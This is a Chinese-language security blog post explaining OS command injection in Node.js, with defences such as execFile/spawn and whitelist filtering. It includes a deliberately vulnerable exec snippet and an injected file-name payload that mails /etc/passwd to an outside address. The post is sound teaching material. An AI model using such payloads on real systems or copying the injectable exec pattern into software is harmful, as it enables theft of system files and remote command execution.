什么是 OS 命令注入

上周我们分享了一篇 《Web 安全漏洞之 SQL 注入》,其原理简单来说就是因为 SQL 是一种结构化字符串语言,攻击者利用可以随意构造语句的漏洞构造了开发者意料之外的语句。而今天要讲的 OS 命令注入其实原理和 SQL 注入是类似的,只是场景不一样而已。OS 注入攻击是指程序提供了直接执行 Shell 命令的函数的场景,当攻击者不合理使用,且开发者对用户参数未考虑安全因素的话,就会执行恶意的命令调用,被攻击者利用。

在 Node.js 中可以使用 exec() 执行命令。以基于 ThinkJS 开发的博客系统 Firekylin 为例,其中有一个用户上传压缩包导入数据的功能,为了方便直接使用了 tar 命令去解压文件,大致代码如下:


const { exec } = require('child_process');

const extractPath = path.join(think.RUNTIME_PATH, 'importMarkdownFileToFirekylin');
module.exports = class extends think.Controller {
    async upload() {
        const { path: filePath } = this.file('import');
        exec(`rm -rf ${extractPath}; mkdir ${extractPath}; cd ${PATH}; tar zvxf "${filePath}"`);
    }
}


其中 filePath 是用户上传文件的包含文件名的临时上传路径。假设此时用户上传的文件名为 $(whoami).tar.gz,那么最后 exec() 就相当于执行了 tar zvxf "/xxx/runtime/$(whoami).tar.gz"。而 Bash 的话双引号中的 $() 包裹部分会被当做命令执行,最终达到了用户超乎程序设定直接执行 Shell 命令的可怕结果。类似的写法还有 `` 包裹。当然我这里写的是 whoami 命令显得效果还好,如果是 $(cat /etc/passwd | mail -s "host" i@imnerd.org).tar.gz 能直接获取到机器密码之类的就能体会出这个漏洞的可怕了吧。

为什么使用 exec 会出问题?

因为在child_process.exec引擎下,将调用执行"/bin/sh"。而不是目标程序。已发送的命令只是被传递给一个新的"/bin/ sh'进程来执行shell。 child_process.exec的名字有一定误导性 - 这是一个bash的解释器,而不是启动一个程序。这意味着,所有的shell字符可能会产生毁灭性的后果,如果直接执行用户输入的参数。 via: 《避免Node.js中的命令行注入安全漏洞》

OS 命令注入的危害

正如刚才所说,由于能获取直接执行系统命令的能力,所以 OS 命令注入漏洞的危害想必不需要我再强调一遍。总之就是基本上能“为所欲为”吧。

防御方法

使用 execFile / spawn

在 Node.js 中除了 exec() 之外,还有 execFile()spawn() 两个方法也可以用来执行系统命令。它们和 exec() 的区别是后者是直接将一个命令字符串传给 /bin/sh 执行,而前者是提供了一个数组作为参数容器,最后参数会被直接传到 C 的命令执行方法 execve() 中,不容易执行额外的参数。

当使用 spawn 或 execfile 时,我们的目标是只执行一个命令(参数)。这意味着用户不能运行注入的命令,因为/bin/ls并不知道如何处理反引号或管道操作或;。它的/bin/sh将要解释的是那些命令的参数。 via: 《避免Node.js中的命令行注入安全漏洞》

不过这个也不是完美之策,这个其实是利用了执行的命令只接受普通参数来做的过滤。但是某些命令,例如 /bin/find,它提供了 -exec 参数,后续的参数传入后会被其当成命令执行,这样又回到了最开始的状态了。

白名单校验

除了上面的方法之外,我们也可以选择对用户输入的参数进行过滤校验。例如在文章开头的上传文件的示例里,由于是用户上传的文件名,根据上下文我们可以对其限制仅允许纯英文的文件名其它的都过滤掉,这样也能避免被注入的目的。当然黑名单也不是不可以,只是需要考虑的情况比较多,像上文说的``$()等等情况都需要考虑,再加上转义之类的操作防不胜防,相比之下还是白名单简单高效。


let { path: filePath } = this.file('import');
filePath = filePath.replace(/[^a-zA-Z0-9.\/_-]/g, '');


当然最好还是不要允许用户输入参数,只允许用户选择比较好。

后记

网络上关于 Node.js 的命令注入漏洞描述的文章比较少,大多都是 PHP 的。虽然大道理是相同的,不过在具体的防御处理上不同的语言稍微有点不一样,所以写下这篇文章分享给大家。当然除了做校验之外,使用非 root 权限用户执行程序限制其权限也能有一定的作用。另外可以定期的搜索下代码中使用 exec() 命令的地方,看看有没有问题。本来这时候应该给大家推荐一款静态分析工具来代替人肉扫描的,不过奈何 Node.js 这方面的静态分析工具不多。总之,日常开发中能不是用系统命令的尽量不是用,实在不得以要用的话也要做好校验,是用 spawn() 等相较安全的方法。